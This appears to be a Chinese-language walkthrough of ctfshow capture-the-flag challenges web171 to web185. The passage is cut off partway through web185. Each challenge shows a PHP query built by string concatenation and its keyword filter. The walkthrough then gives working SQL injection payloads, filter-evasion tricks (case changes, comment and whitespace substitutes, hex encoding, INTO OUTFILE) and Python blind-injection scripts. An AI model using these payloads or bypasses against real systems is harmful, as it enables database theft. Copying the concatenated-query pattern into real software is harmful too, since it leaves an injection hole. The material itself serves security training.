ctfshow web171-253

web171(经典sql注入)

题目给的部分源码如下

1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

可以看到执行的sql语句接收$id这个传参,而flag大概率藏在username字段值为flag的数据中

首先闭合前面的单引号,然后拼接上or username='flag',由于后面已经存在单引号,可以留出单引号的位置

所以payload为1' or username='flag

web172(字段值绕过)

题目给的部分源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

首先确认该表共有几个字段

1' order by 2 -- qwe

发现共有两个

通过information_schema库获取当前username表中有哪些字段

1' union select 1,column_name from information_schema.columns where table_name='ctfshow_user2' and table_schema=database() -- qwe

要找的flag在passwd字段中

由于返回有检测username字段的值是否为flag,那么将username字段用数字1代替即可

最终payload为1' union select 1,password from ctfshow_user2 where username='flag' -- qwe

web173(回显16进制绕过)

题目给的部分源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

首先判断该表有几个字段

1' order by 4 -- qwe时无显示

说明有三个字段

测试发现三个数据位均有回显

由于对回显结果中的flag有检测

只需将用户名的返回字段额外处理一下,比如转为十六进制即可

最后payload为-1' union select id,hex(username),password from ctfshow_user3 where username='flag' -- qwe

web174(replace绕过)

题目给的部分源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

首先判断该表有几个字段

1' order by 3 -- qwe时无显示

说明有两个字段

测试发现两个数据位均有回显

由于源码对回显结果中的flag以及数字0到9均有检测

我们直接将username字段用字母替换即可绕过对值flag的检测

这里需要绕过过滤的主要是flag括号中的数字,可以使用replace绕过

最后payload为-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username = 'flag' -- qwe

替换后的flag为ctfshow{f@B@Hbabd@C-@E@A@B@I-@D@Bf@E-b@E@Gb-@J@I@C@A@A@F@E@H@Ja@Ha}

使用如下python脚本替换回来

1
2
3
4
Cipher = "ctfshow{f@B@Hbabd@C-@E@A@B@I-@D@Bf@E-b@E@Gb-@J@I@C@A@A@F@E@H@Ja@Ha}"
flag = Cipher.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")

print(flag)

web175(导出回显)

题目给的部分源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

首先判断该表有几个字段

1' order by 3 -- qwe时无显示

说明有两个字段

过滤中[\x00-\x7f] 匹配ASCII值从0-127的字符,基本上所有能显示的字符都被过滤掉了

由于前端页面无法显示返回的信息,我们尝试把返回信息导出到文件

最后payload为-1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/ctf.txt' -- qwe

导出的flag在网站的/ctf.txt路径下

web176(大小写绕过)

题目给的部分源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

题目提示对传入参数进行了过滤

先尝试最普通的联合注入-1' union select id,username,password from ctfshow_user where username ='flag' -- qwe

没有回显

尝试改变关键字的大小写,因为SQL语句对关键字大小写不敏感

-1' union Select id,username,password from ctfshow_user where username ='flag' -- qwe通过

说明题目是对selcet关键字进行了过滤

web177(空格绕过1)

题目提示对传入参数进行了过滤

尝试让payload中不涉及关键字

-1' or username ='flag' -- qwe

没有回显

考虑可能是对字符进行了过滤,最常见的是对空格的过滤

将空格替换为/**/

由于空格被过滤,注释--空格也无法使用,替换为%23

-1'Union/**/Select/**/id,username,password/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23

web178(空格绕过2)

使用1' or 'a' = 'a测试,发现不给过,说明仍然存在空格过滤

尝试使用注释绕过,测试1'or/**/'a'='a,发现仍然不给过,说明注释也被ban掉了

测试1'or'a'='a'%23通过,说明注释中%23还能用,可能是只ban掉了/**/

那么这题可以使用括号绕过空格过滤

payload为-1'Union(Select(id),(username),(password)from(ctfshow_user)where(username)='flag'%23

成功获取flag

web179(空格绕过3)

这题仍然是可以使用括号绕过空格

我们也可以尝试一下其他方法,比如换页符%0c

payload为-1'Union%0cSelect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername%0c='flag'%23

web180(空格绕过4)

测试1'or'a'='a'%23不通过,测试1'or'a'='a通过,说明#注释被过滤

可以换成or'1'='--%0c来闭合或注释掉后面的引号

payload为-1'Union%0cSelect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername%0c='flag'--%0c

web181(空格绕过5)

源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

这题对大部分绕过空格的都做了过滤,同时大小写的关键字select均被过滤

考虑在原本的sql语句上加特定条件

paylaod为-1'or(username)='flag

web182(通配符绕过)

源码如下

1
2
3
4
5
6
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

本题多过滤了flag,那么我们可以考虑使用通配符%来绕过

payload为-1'or(username)like'f%

web183(布尔盲注1)

源码如下

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

本题将or给过滤了,同时sql语句也发生了变化,返回的内容不再是数据的内容,而是内容的数量,很符合盲注的条件

所以我们考虑使用布尔盲注

从头盲注代码量太大,这里我们利用之前题目的信息,确定表名是ctfshow_user

而题目以及提示字段名为pass,所以我们直接判断数据项的内容即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import time
url="http://221413c4-c7b2-4e59-8ad0-bf9a144652c3.challenge.ctf.show/select-waf.php"

strlist = '{}0123456789-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'
flag = ''

while True:
for i in strlist:
data = {
'tableName': "`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag+i)
}
respond = requests.post(url, data=data)
respond = respond.text
if 'user_count = 1' in respond:
print('--------------------正确',i)
flag += i
print('ctfshow{}'.format(flag))
break
if flag[-1] == '}':exit() #判断 flag 是否获取完整

web184(布尔盲注2)

源码如下

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

相比于上一题,本题将where和sleep等关键词过滤,说明不允许使用时间盲注

而关键字where + like可以使用group by + having来替代

最后是单双引号都被禁用,我们可以将字段值用16进制来表示,这样可以避免使用引号

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time
url="http://5bbff075-99dc-4ee3-8ec4-493b37b510b5.challenge.ctf.show/select-waf.php"

flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" #40
flag=""
for i in range(0,40):
for x in flagstr:
data={
"tableName":"ctfshow_user group by pass having pass like 0x63746673686f777b{}25".format("".join(hex(ord(i))[2:] for i in flag+x))
}
#print(data)
response=requests.post(url,data=data)
#有并发数量限制的,就睡一段时间
time.sleep(0.3)
if response.text.find("$user_count = 1;")>0:
print("++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print("ctfshow{"+flag)

web185()

源码如下

1
2
3
4
5
6
7
8
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;

本题将所有数字都给过滤

我们可以通过true+true+……的方法构造数字,